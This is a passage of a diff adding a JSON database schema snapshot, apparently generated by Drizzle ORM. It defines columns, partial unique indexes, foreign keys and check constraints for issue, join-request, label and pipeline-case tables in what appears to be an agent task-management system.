+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_fingerprint\" <> 'default'\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stale_run_evaluation_uq": {
+          "name": "issues_active_stale_run_evaluation_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_task_watchdog_uq": {
+          "name": "issues_active_task_watchdog_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_productivity_review_uq": {
+          "name": "issues_active_productivity_review_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stranded_issue_recovery_uq": {
+          "name": "issues_active_stranded_issue_recovery_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_onboarding_first_task_uq": {
+          "name": "issues_onboarding_first_task_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issues_company_id_companies_id_fk": {
+          "name": "issues_company_id_companies_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_id_projects_id_fk": {
+          "name": "issues_project_id_projects_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_workspace_id_project_workspaces_id_fk": {
+          "name": "issues_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_goal_id_goals_id_fk": {
+          "name": "issues_goal_id_goals_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_parent_id_issues_id_fk": {
+          "name": "issues_parent_id_issues_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_assignee_agent_id_agents_id_fk": {
+          "name": "issues_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_checkout_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_checkout_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "checkout_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_execution_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_execution_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "execution_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_created_by_agent_id_agents_id_fk": {
+          "name": "issues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issues_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.join_requests": {
+      "name": "join_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "invite_id": {
+          "name": "invite_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "request_type": {
+          "name": "request_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending_approval'"
+        },
+        "request_ip": {
+          "name": "request_ip",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requesting_user_id": {
+          "name": "requesting_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_email_snapshot": {
+          "name": "request_email_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
+          "name": "adapter_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "capabilities": {
+          "name": "capabilities",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_defaults_payload": {
+          "name": "agent_defaults_payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_hash": {
+          "name": "claim_secret_hash",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_expires_at": {
+          "name": "claim_secret_expires_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "claim_secret_consumed_at": {
+          "name": "claim_secret_consumed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_agent_id": {
+          "name": "created_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_by_user_id": {
+          "name": "approved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "approved_at": {
+          "name": "approved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_by_user_id": {
+          "name": "rejected_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "rejected_at": {
+          "name": "rejected_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "join_requests_invite_unique_idx": {
+          "name": "join_requests_invite_unique_idx",
+          "columns": [
+            {
+              "expression": "invite_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_company_status_type_created_idx": {
+          "name": "join_requests_company_status_type_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "request_type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_user_uq": {
+          "name": "join_requests_pending_human_user_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "requesting_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"requesting_user_id\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "join_requests_pending_human_email_uq": {
+          "name": "join_requests_pending_human_email_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(\"request_email_snapshot\")",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"join_requests\".\"request_type\" = 'human' AND \"join_requests\".\"status\" = 'pending_approval' AND \"join_requests\".\"request_email_snapshot\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "join_requests_invite_id_invites_id_fk": {
+          "name": "join_requests_invite_id_invites_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "invites",
+          "columnsFrom": [
+            "invite_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_company_id_companies_id_fk": {
+          "name": "join_requests_company_id_companies_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "join_requests_created_agent_id_agents_id_fk": {
+          "name": "join_requests_created_agent_id_agents_id_fk",
+          "tableFrom": "join_requests",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.labels": {
+      "name": "labels",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "name": {
+          "name": "name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "color": {
+          "name": "color",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "labels_company_idx": {
+          "name": "labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "labels_company_name_idx": {
+          "name": "labels_company_name_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "name",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "labels_company_id_companies_id_fk": {
+          "name": "labels_company_id_companies_id_fk",
+          "tableFrom": "labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_automation_executions": {
+      "name": "pipeline_automation_executions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "automation_id": {
+          "name": "automation_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "triggering_event_id": {
+          "name": "triggering_event_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "routine_id": {
+          "name": "routine_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "execution_issue_id": {
+          "name": "execution_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retry_of_execution_id": {
+          "name": "retry_of_execution_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "generation": {
+          "name": "generation",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "error": {
+          "name": "error",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_automation_executions_idempotency_uq": {
+          "name": "pipeline_automation_executions_idempotency_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "automation_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "triggering_event_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_company_case_idx": {
+          "name": "pipeline_automation_executions_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_routine_idx": {
+          "name": "pipeline_automation_executions_routine_idx",
+          "columns": [
+            {
+              "expression": "routine_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_execution_issue_idx": {
+          "name": "pipeline_automation_executions_execution_issue_idx",
+          "columns": [
+            {
+              "expression": "execution_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_automation_executions_retry_of_execution_idx": {
+          "name": "pipeline_automation_executions_retry_of_execution_idx",
+          "columns": [
+            {
+              "expression": "retry_of_execution_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_automation_executions_company_id_companies_id_fk": {
+          "name": "pipeline_automation_executions_company_id_companies_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_automation_executions_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_routine_id_routines_id_fk": {
+          "name": "pipeline_automation_executions_routine_id_routines_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "routines",
+          "columnsFrom": [
+            "routine_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_automation_executions_execution_issue_id_issues_id_fk": {
+          "name": "pipeline_automation_executions_execution_issue_id_issues_id_fk",
+          "tableFrom": "pipeline_automation_executions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "execution_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_automation_executions_status_check": {
+          "name": "pipeline_automation_executions_status_check",
+          "value": "\"pipeline_automation_executions\".\"status\" in ('succeeded', 'failed')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_blockers": {
+      "name": "pipeline_case_blockers",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "blocked_by_case_id": {
+          "name": "blocked_by_case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_blockers_case_blocked_by_uq": {
+          "name": "pipeline_case_blockers_case_blocked_by_uq",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_blocked_by_idx": {
+          "name": "pipeline_case_blockers_blocked_by_idx",
+          "columns": [
+            {
+              "expression": "blocked_by_case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_blockers_company_case_idx": {
+          "name": "pipeline_case_blockers_company_case_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_blockers_company_id_companies_id_fk": {
+          "name": "pipeline_case_blockers_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_blockers_blocked_by_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_blockers",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "blocked_by_case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "pipeline_case_blockers_no_self_block_check": {
+          "name": "pipeline_case_blockers_no_self_block_check",
+          "value": "\"pipeline_case_blockers\".\"case_id\" <> \"pipeline_case_blockers\".\"blocked_by_case_id\""
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_documents": {
+      "name": "pipeline_case_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_documents_company_case_key_uq": {
+          "name": "pipeline_case_documents_company_case_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_document_uq": {
+          "name": "pipeline_case_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "pipeline_case_documents_company_case_updated_idx": {
+          "name": "pipeline_case_documents_company_case_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "case_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "pipeline_case_documents_company_id_companies_id_fk": {
+          "name": "pipeline_case_documents_company_id_companies_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_case_id_pipeline_cases_id_fk": {
+          "name": "pipeline_case_documents_case_id_pipeline_cases_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "pipeline_cases",
+          "columnsFrom": [
+            "case_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "pipeline_case_documents_document_id_documents_id_fk": {
+          "name": "pipeline_case_documents_document_id_documents_id_fk",
+          "tableFrom": "pipeline_case_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.pipeline_case_events": {
+      "name": "pipeline_case_events",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "case_id": {
+          "name": "case_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_type": {
+          "name": "actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "run_id": {
+          "name": "run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "from_stage_id": {
+          "name": "from_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "to_stage_id": {
+          "name": "to_stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'{}'::jsonb"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "pipeline_case_events_case_created_idx": {
+          "name": "pipeline_case_events_case_created_idx",
+          "columns": [
+            {
+              "expression": "case_id",
+              "isExpression": false,
